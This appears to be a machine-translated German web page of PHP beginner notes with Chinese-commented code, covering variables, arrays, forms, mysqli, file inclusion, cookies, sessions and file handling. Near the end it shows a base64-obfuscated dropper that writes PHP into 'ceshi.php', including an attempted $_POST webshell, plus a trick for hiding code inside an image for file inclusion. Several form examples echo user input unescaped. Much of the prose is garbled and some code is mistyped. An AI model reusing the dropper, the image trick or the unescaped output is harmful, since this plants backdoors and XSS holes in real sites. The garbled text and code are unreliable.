In diesem Artikel werden die darin enthaltenen Wissenspunkte sehr detailliert beschrieben. Da es sich um ein Sprachprogramm handelt, wird die Besonderheit der PHP-Sprache nach und nach im Anwendungsprozess deutlich . , hoffe es hilft allen.
PHP (Hypertext Preprocessor) war ursprünglich die Abkürzung für Personal Home Page und wurde offiziell in „PHP :Hypertext“ umbenannt Präprozessor". Seit Beginn der Entwicklung des heimischen Internets in den 1990er Jahren decken Internetinformationen fast alle Wissensbereiche unserer täglichen Aktivitäten ab und sind nach und nach zu einem unverzichtbaren Bestandteil unseres Lebens, unseres Studiums und unserer Arbeit geworden. Laut Statistik hat sich die Größe der Webseiten meines Landes seit 2003 im Wesentlichen verdoppelt und zeigt einen Aufwärtstrend. Als beliebteste Website-Programmentwicklungssprache bietet die PHP-Sprache heute die Vorteile niedriger Kosten, hoher Geschwindigkeit, guter Portabilität und umfangreicher integrierter Funktionsbibliotheken. Daher wird sie von immer mehr Unternehmen bei der Website-Entwicklung verwendet. Mit der kontinuierlichen Weiterentwicklung des Internets sind jedoch viele Probleme in der PHP-Sprache aufgetreten.
Entsprechend den Anforderungen dynamischer Websites zeigt sich die PHP-Sprache als Sprachprogramm nach und nach im Bewerbungsprozess und ihr technisches Niveau wirkt sich direkt auf die Betriebseffizienz der Website aus. Seine Merkmale sind, dass es über Open-Source-Code verfügt und in der Programmierung Allzwecksprachen wie der C-Sprache sehr ähnlich ist. Daher ist es leicht zu verstehen und während des Betriebs gut bedienbar. Gleichzeitig verfügt die PHP-Sprache über ein hohes Maß an Datenübertragung, -verarbeitung und -ausgabe und kann in großem Umfang in Windows-Systemen und verschiedenen Arten von Webservern verwendet werden. Wenn die Datenmenge groß ist, kann die PHP-Sprache auch die Linkoberfläche erweitern und eine Verbindung zu verschiedenen Datenbanken herstellen, um den Druck beim Speichern, Abrufen und Warten von Daten zu verringern. Mit der Entwicklung der Technologie können Suchmaschinen in PHP-Sprache auch so angepasst werden, dass sie personalisierte Dienste bereitstellen, z. B. das Klassifizieren, Sammeln und Speichern von Daten entsprechend den Kundenpräferenzen, was die Effizienz des Datenbetriebs erheblich verbessert.
(1) Open Source und kostenlos
Da der Quellcode des PHP-Interpreters öffentlich ist, ist der Sicherheitsfaktor relativ hoch High-End-Websites können den PHP-Interpreter selbst ändern. Darüber hinaus ist auch die Nutzung der PHP-Laufzeitumgebung kostenlos.
(2) Schnelligkeit
PHP ist eine Sprache, die sehr einfach zu erlernen und zu verwenden ist. Ihre Syntaxfunktionen ähneln denen der C-Sprache, sie verfügt jedoch nicht über die komplexen Adressoperationen der C-Sprache Darüber hinaus wurde das Konzept der Objektorientierung hinzugefügt und verfügt über prägnante Grammatikregeln, die die Bedienung und Bearbeitung sehr einfach und sehr praktisch machen.
(3) Erweiterbarkeit von Datenbankverbindungen
PHP kann Verbindungen mit vielen gängigen Datenbanken wie MySQL, ODBC, Oracle usw. herstellen. PHP verwendet verschiedene kompilierte Funktionen, um Verbindungen mit diesen Datenbanken herzustellen Für Verbindungszwecke ist PHPLIB eine häufig verwendete Basisbibliothek für allgemeine Transaktionen.
(4) Prozessorientiert und objektorientiert zusammen verwenden
Bei der Verwendung der PHP-Sprache können Sie prozessorientiert bzw. objektorientiert verwenden und PHP-Prozess-orientiert mischen. orientiert und objektorientiert zusammen, was viele andere Programmiersprachen nicht können.
(1) Beliebt und einfach zu verwenden
PHP ist derzeit die beliebteste Programmiersprache, daran besteht kein Zweifel. Es betreibt mehr als 200 Millionen Websites auf der ganzen Welt und mehr als 81,7 % der weltweiten öffentlichen Websites verwenden PHP auf der Serverseite. Die häufig verwendeten Datenstrukturen von PHP sind alle integriert. Sie sind bequem und einfach zu verwenden, überhaupt nicht kompliziert und ihre Ausdrucksmöglichkeiten sind recht flexibel.
(2) Es gibt viele Entwicklungspositionen
Bei der serverseitigen Website-Programmierung hilft Ihnen PHP leichter, einen Job zu finden. Viele internetbezogene Unternehmen verwenden das PHP-Entwicklungsframework, sodass man sagen kann, dass die Marktnachfrage nach PHP-Entwicklungsprogrammierern immer noch relativ groß ist.
(3) Noch in der Entwicklung
PHP ist ständig mit Technologien wie Schließungen und Namespaces kompatibel und berücksichtigt dabei die Leistung und aktuell gängige Frameworks. Nach Version 7 wurden leistungsstärkere Anwendungen bereitgestellt.
(4) Starke Implantierbarkeit
Während des Patch-Schwachstellen-Upgrade-Prozesses der PHP-Sprache ist der Kernteil der PHP-Sprache einfach zu implementieren und schnell zu implantieren.
(5) Starke Skalierbarkeit
Während des Datenbankanwendungsprozesses kann die PHP-Sprache verschiedene Datentypen aus der Datenbank abrufen und weist eine hohe Ausführungseffizienz auf.
(1) PHP-Interpretations- und Betriebsmechanismus
In PHP sind alle Variablen auf Seitenebene, unabhängig davon, ob es sich um globale Variablen handelt oder Statische Mitglieder der Klasse werden nach der Ausführung der Seite gelöscht.
(2) Designfehler und mangelnde Aufmerksamkeit PHP wird als undurchsichtige Sprache bezeichnet, da es keinen Stack-Trace und verschiedene fragile Eingaben gibt. Es gibt keine klare Designphilosophie. Frühes PHP wurde von Perl beeinflusst, die Standardbibliothek ohne Parameter wurde aus der C-Sprache eingeführt und der objektorientierte Teil wurde aus C++ und Java gelernt.
(3) Schlechte Unterstützung für Rekursion
PHP ist nicht gut in der Rekursion. Die Beschränkung der Anzahl rekursiver Funktionen, die es tolerieren kann, ist deutlich geringer als bei anderen Sprachen.
/*..........*/ Mehrzeilige Kommentare
Variablen:
$x=5; $X=7; Die Ausgabe ist unterschiedliche Ergebnisse
Lokale Variablen<?php $a = 1; $A = 2; echo $a . "<br>"; echo $A; ?>
<?php $a=1; //全局变量 function test() { //声明一个函数,名字为 test $a=15; //函数内的变量,为局部变量 echo "内部输出结果:".$a; } test(); echo "<br>"; echo "外部输出结果:".$a; ?>
<?php $a=1; function test() { //声明一个函数,名字为 test global $a; //在函数内声明并引用外部变量,注意这里是小写 global echo $a; echo "<br>"; } test(); //使用函数 echo $a; ?>
<?php $a=10; $b=20; $c=30; function test() { $a=100; $GLOBALS['a']=$GLOBALS['b']+$GLOBALS['c']; //引用全局变量,这里的 GLOBALS 必须大写 echo $a."<br>"; } Test(); //函数名不区分大小写 echo "<br>"; echo $a; ?>
Parameter Parameterumfang
<?php function test() { static $a = 0; //静态作用域,保留变量值 echo $a . ""; $a++; } test();//不使用static的话,每次输出都是 0 echo "<br>"; test(); echo "<br>"; test(); ?>
echo „123“, „456“, „789“;//Kann kontinuierlich mehrere Zeichenfolgen ausgeben
Zeilenumbruch:
echo "
";
Typ der Rückgabevariable: var_dump
<?php $a = 10; $b = 20; function test() { $a = 30; $b = 40; $c = $a + $b; echo "函数内运算值:".$c; echo "<br>"; } test(); $c = $a + $b; echo "函数外运算值:".$c; ?>
<?php $a = "1111"; $b = 123; $c = null; echo var_dump($a) . "<br>"; echo var_dump($b) . "<br>"; echo var_dump($c) . "<br>"; $d = array('a', 1, abc); //数组 echo var_dump($d) . "<br>"; $e = true; echo var_dump($e); ?>
<?php $text1="ni hao"; $text2="hahaha"; echo $text1." ".$text2."<br>"; //引用多个变量用 点 . (英文)连接 为空格 $a = strlen($text1);//计算字符串长度数 echo $a; ?>//空格也算作一个字符
<?php $text1 = "ni hao"; echo "$text1" . "<br>";// “ ” 双引号输出会显示变量值 echo '$text1';// ‘’ 单引号会显示变量名本身 ?>
<?php $x = 10; echo ++$x;//先自增后输出 echo "<br>"; $a=15; echo --$a . "<br>";//先自减后输出 $y = 20; echo $y++ . "<br>";//先输出后自增 $b=30; echo $b--;//先自增后输出 ?>
<?php $x = 10; $y = 20; if ($x > $y) {//判断 x 和 y 的大小,如果满足 $x > $y 就输出 true echo "true"; }else if($x==$y) {//else if 如果上面的判断不满足,再次判断 $x==$y 是否相等 ,如果满足就输出 $x."等于"$y; echo $x."等于"$y; } else {//如果上面的判断都不满足就输出 false echo "false"; } ?>
<?php $x= (3>4)? "true":"false";//三元运算符 echo $x; ?>
<?php $a="abc"; switch ($a) { case 'red': echo "red"; break; //跳出整个循环体,continue跳出本次循环体,继续执行后面的循环体。 case 'green': echo "green"; break; case 'black': echo "black"; break; default: echo "not color"; } ?>
<?php $cars = array("BMW", "BinLi", "大众"); echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]"; ?>
<?php $cars = array(); $cars[0] = "BMW"; $cars[1] = "BINlix"; $cars[2] = "大众"; echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]"; ?>
var_dump() Rückgabe Datentyp
echo $arrayName[3]; //Boolean true print display 1
for-Schleife durchläuft das Array:
<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); for ($x = 0; $x < $arrlength; $x++) { echo $cars[$x] . "<br>"; }//只输出值 ?>
<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); print_r($cars);//数据类型,下标值,值都打印出来 ?>
<?php $age = array("gao" => "30", "li" => "20", "zhang" => "10"); echo "gao is " . " " . $age['gao'] . " " . " years old."; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; print_r($age); ?>
多维数组
<?php $cars = array( array("111", 100, 50), array("222", 200, 100), array("333", 300, 150), ); echo $cars[1][0]; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; // print_r($age); foreach ($age as $key => $value) { echo "name is " . $key . " old " . $value . "<br>"; } ?>
排序:
<?php $cars = array("Blinli", "wzida", "muling"); $x = sort($cars); echo $x; print_r($cars); ?>
<?php $cars = array("Blinli", "wzida", "muling"); $x = rsort($cars); echo $x; print_r($cars); ?>
<?php $x = 10; $y = 29; function add() { // global $x, $y; // $z = $x + $y; // echo $z; $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y']; echo $GLOBALS['z']; } add(); ?>
PHP $_REQUEST 用于收集 HTML 表单提交的数据
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <form method="POST" action="request.php"> name:<input type="text" name="name"> <br> <input type="submit" name="submit"> </body> </html>
<?php $name = $_REQUEST['name']; echo $name; ?>
循环:
<?php $a = 0; while ($a <= 10) { echo "number is :" . $a . "<br>"; $a++; } ?>
do while 循环:
<?php $i = 0; do { //先循环 $i++; echo "number is :" . $i . "<br>"; } while ($i < 5);//再判断 ?>
<?php function add($x, $y) { $z = $x + $y; return $z; // echo $z; } // add(5, 15); echo "1+16" . "=" . add(1, 16); ?>
函数:
<?php function add() { $x = 10; $y = 20; $z = $x + $y; echo $z; } add(); ?> <?php function add($x, $y) { $z = $x + $y; echo $z; } add(5, 15); ?>
<?php class Person { //定义一个类,名称为 Person 使用驼峰命名法,不能用数字开头,类似于变量的命名方式。 var $name; //定义一个变量,值为空 function say() { //定义一个函数 echo "my name is ".$this->name; } } $xm=new Person; //实例化对象,具体的使用方式 $xm->name="小明"; //对象属性的赋值 $xm->say(); //访问对象的方法 ?>
超级全局变量:
<?php $string = "123"; //变量 define("DEMO", true); //常量 print_r($GLOBALS); //超级全局变量 ?>
$_SERVER['PHP_SELF']; //显示头部信息
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8"> </head> <body> <!-- <form action="" method="GET"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit" name="submit" value="GET"> </form> --> <form action="<?php echo $_SERVER['HTTP_SELF']; ?>" method="POST"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit"> </form> <?php echo "提交的内容: <font style='color:red'>" . @$_POST["name"] . @$_POST["password"] . "</font>" ?> </body> </html> //在PHP中通过打印函数引入我们的HTML+CSS+JS
1、mysql PHP<5.5版本 2012年后不建议使用,安全性差
2、mysqli mysql的扩展,mysql的升级版,安全性高,只能用于操作mysql数据库
一、面向对象的方法 NEW
二、面向过程的使用方法
3、PDO PHP DATA OBJECT 目前支持链接数据库类型12种,安全性高,基于面向对象的使用方式。
<?php $hostname="127.0.0.1"; $name="root"; $pass="root"; $db="messagebox"; $conn=mysqli_connect($hostname,$name,$pass,$db); if (!$conn) { die("连接失败".mysqli_connect_error());/* mysqli_connect_error()该函数保存了连接数据库的错误信息 */ } /*create table students( uid int(15) not null auto_increment, name varchar(50) not null, gender char(2), message text, primary key(uid) )*/ $sql="select * from users where id=1 "; // mysqli_query($conn,$sql);执行成功返回true $query_result=mysqli_query($conn,$sql); if ($query_result) { /*如果执行成功就会执行如下的代码*/ $result_numbers=mysqli_num_rows($query_result);/*查询出数据库中记录条数,具体的数据没出来*/ if ($result_numbers>0) { $all_result=mysqli_fetch_all($query_result); /*mysqli_fetch_assoc将查询的结果转换为关联型数组*/ //mysqli_fetch_array()关联型和数字型 //mysqli_fetch_all()数字型 //var_dump($all_result); //$all_result它是一个mysqli_fetch_all处理之后的数据,该数据是一个数组,数组的长度取决于sql的执行 //如果结果是一个记录,则$all_result的长度是1 //如果结果是二个记录,则$all_result的长度是2 //$all_result保存的内容也是数组,需要遍历显示数据内容 foreach ($all_result as $key => $value) { foreach ($value as $key => $value) { echo $value."\n"; } } } else{ echo "没数据!"; } } else{ echo "查询失败".mysqli_error($conn); /* mysqli_error($conn)保存了执行SQL语句的错误信息 */ } mysqli_close($conn); ?>
解决乱码:
echo ""; //指定字符集
或者:
header("Content-Type:text/html;charset=utf-8");
<?php // echo "<meta charset='utf-8'>"; //指定字符集 header("Content-Type:text/html;charset=utf-8"); echo '<form method="POST" action="#"> name:<input type="text" name="name"> psswd:<input type="password" name="pwd"> <input type="submit" name="submit"> </form>'; $name = @$_POST['name']; //$_POST 对应 form method="POST" $pwd = @$_POST['pwd']; //接收数据 if ($name != "" && $pwd != "") { //判断当前提交的数据是否为空,不为空的情况下执行下面的代码 echo "UserName is : " . $name . "<br>"; echo "PassWord is : " . $pwd; } ?>
(isset($name) && isset($pwd))
isset 检测变量是否设置,不为NULL
如果检测的对象是""(空),返回值是 1 false
var_dump 判断数据类型
使用 define(变量的KEY(最好大写),变量的value,true/false,)
define("UNMBER","this is a hacker");//不能用 $ 数字 开头
<?php define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>";//true 忽略大小写,默认是false echo unmber; ?>
<?php //结合函数使用 define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>"; echo unmber . "<br>"; function test() { echo UNMBER; } test(); ?>
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 ?>
反转:
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 $string1=strrve($string);//反转 echo $string1; // 4321 $string2=substr($string,1);//舍弃第一位的数据 -1 只保留最后一位 -2只保留最后2位 echo $string2; // 234 echo trim(" 123 456 789 ");//去除字符串前后的空格123 456 789 ?>
cmd-->php~\php -r "phpinfo();"
php~\php -f ".php文件,可以拖拽到CMD窗口"
$str1 = "123";
echo $str1 .= "456";
PHP 表单
HTML
style 选择器:
.error{}
p{}
#ID {}
echo htmlspecialchars(""); //实体化代码输出,忽略代码本身输出内容
echo stripcslashes("i\\m abc"); //删除转义符
trim 去除左右两端的空格
echo trim(" 123 ");
preg_match( /匹配的表达式/(要用正则表达式),被匹配的字符串),返回值是 int (0|1) bool
匹配上,返回 1 false 否则为 true 0
echo preg_match("/php/", "you know the php is bester language");
!preg_match 取反
Delimiter must not be alphanumeric or backslash in 分隔符不能是字母数字和 反斜线 。
span 组合行内元素 class
文件包含:引入某些文件,去使用该文件的内容。
方式有4种:
1、include "文件路径/文件名";
如果引入文件错误,会报警告Warning,后续代码依旧会执行。
2、include_once "文件";
用法同 include 基本一致,只需包含一次,后续可一直使用。
3、require "文件";
包含文件时,如果找不到,会报错ERROR,后续的代码均无法执行。
4、require_once "文件";
用法同require一致,只需包含一次,后续可一直使用。
支持目录跳转,可以使用相对路径 ../../..file 或者绝对路径
copy 1.png/b+1.txt/a 2.png
a 表示是ASCII格式
b 表示该文件是二进制文件
把文本文件加装到图片文件中。
文件包含,引入某些文件,去使用该文件中内容,在PHP中文件包含的函数有4个:
(1)include "文件" /include("文件")
包含文件时,如果找不到被包含的文件会警告,后续的代码依旧知道
(2)include_once "文件"
用法和include用法基本一致,包含文件只需要一次即可,后续可以一直使用
(3)require "文件"
包含文件时,如果找不到会报致命错误,其后续的代码均不执行
(4)require_once "文件"
用法和require用法一致,包含文件时只需要包含一次即可
被包含过来的文件中,如果按照PHP的标准语法来写代码,那么就会执行该代码;如果不是PHP语法写的文件,就会读取出来
copy 1.png/b+1.txt/a 2.png
a 表示该文件是ASCII文本格式
b 表示该文件是二进制文件
Sitzung: Die Methode oder Art der Datenübertragung zwischen dem Server und dem Benutzer. Zuvor muss ein Kanal eingerichtet werden Der Kanal kann Daten übertragen. Sitzungen werden über Cookies auf dem Client verwaltet, und Sitzungen werden auf dem Server über Sitzungen verwaltet.
Vergleich von Cookies und Sitzungen:
1. Cookies werden im Browser des Benutzers gespeichert und vom Server über Set-Cookie im Rückgabepaket gesetzt Der Sitzungsstatus zwischen Servern kann nur nach erfolgreicher Anmeldung abgerufen werden. Diese Daten sind im Allgemeinen zeitkritisch und der Benutzer muss sich nach Ablauf erneut anmelden. Mit Cookie-Daten wird bei jeder Benutzeranfrage ein Cookie erstellt und der Server überprüft die Rechtmäßigkeit und Aktualität des Cookies. Das Senden von Cookies muss der Same-Origin-Richtlinie des Browsers folgen auf der Serverseite und stellt den Sitzungsstatus des Benutzers und die Serverzeit dar. Sitzung und Cookie müssen sich auch merken, welcher Benutzer auf der Website angemeldet ist. tmp-Verzeichnis in Form einer Datei, das Format ist: sess_XXXXX (zum Beispiel: sess_nti62h7rrrnb5udpvfbad13cg5s9kqrm). Der Server erfordert eine erneute Anmeldung des Benutzers.
So zeigen Sie Cookies an:1. Geben Sie die URL der Seite ein, auf der Sie gerade angemeldet sind, javascript:alert(document.cookie)
2 . Geben Sie in der Konsole ein: warning(document.cookie) oder document.cookie
3. Im Netzwerkverwaltungstool, das mit dem Browser geliefert wird.
setcookie("key","123"); sollte vor dem HTML-Code geschrieben werden.
setcookie("name","456",time()+5);
echo $_COOKIE["name"]."
";
setcookie("name","value",time()-3600);//Cookie löschen
print_r($_COOKIE);
$_SEESION["id"]=1;
$_SEESION["demo"]=true;
unset($_SEESION["id"]);//Einen Wert in seesion löschen
session_destroy( ); //Alle SEESION-Werte löschen
session_start();//SESSION öffnenWebentwickler-Plug-in
fopen (wie man eine Datei öffnet):
fread($file,1024);
feof() ; Überprüfen Sie, ob das Ende der Datei erreicht ist
fclose($NAME); Schließen Sie den Vorgang
fopen (wie man die Datei öffnet,,,):r Schreibgeschützt
r+ Lesen und schreiben
w Zum Schreiben öffnen, Datei erstellen, wenn die Datei nicht existiert
a Inhalt anhängen
a+ Lesen und anhängen, wenn die Datei nicht existiert. Wenn sie existiert, erstellen Sie die Datei
$file=fopen("test.txt","a+");
Lesen Sie die Datei
fread($file,1024); / /Lesen Sie die Datei
feof(); Überprüfen Sie, ob das Ende der Datei erreicht ist
fgets($ file); //Die Datei lesen
while (!feof($file) ) { //Bestimmen, ob das Ende erreicht ist
echo fgets($file)."
";//Nur eine Zeile auf einmal lesen
}
while (!feof($file)) { //Bestimmen Sie, ob das Ende erreicht ist
echo fgetc ($file)."
";//Nur eine Zeile auf einmal lesen
}
unlink(); Datei löschen
fclose($NAME ); Prozess schließen
fputs();
echo file_get_contents("123 .txt"); Datei lesenfputs("1.php" ,"w")," ");
echo file_get_contents("1.php");
Webmaster-Tools
$str="PD9waHAgcGhwaW5mbygpOz8+";
$shell= base64_decode($str);
fputs(fopen("ceshi.php", "w "),$shell);
Verwenden Sie base64_encode zum Verschlüsseln und base64_decode zum Entschlüsseln
fputs( fopen("ceshi.php", "w"),base64_decode("PD9waHAgJGV2YWw9KCRfUE9TVFsnayddKTs/Pg== "));
Neuwäsche ablegen
Bei Interesse können Sie auf „PHP-Video-Tutorial“ klicken, um mehr über PHP-Kenntnisse zu erfahren.
Das obige ist der detaillierte Inhalt vonDie umfassendste Sammlung von PHP-Einführungsnotizen in der Geschichte (Zusammenfassungsfreigabe). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!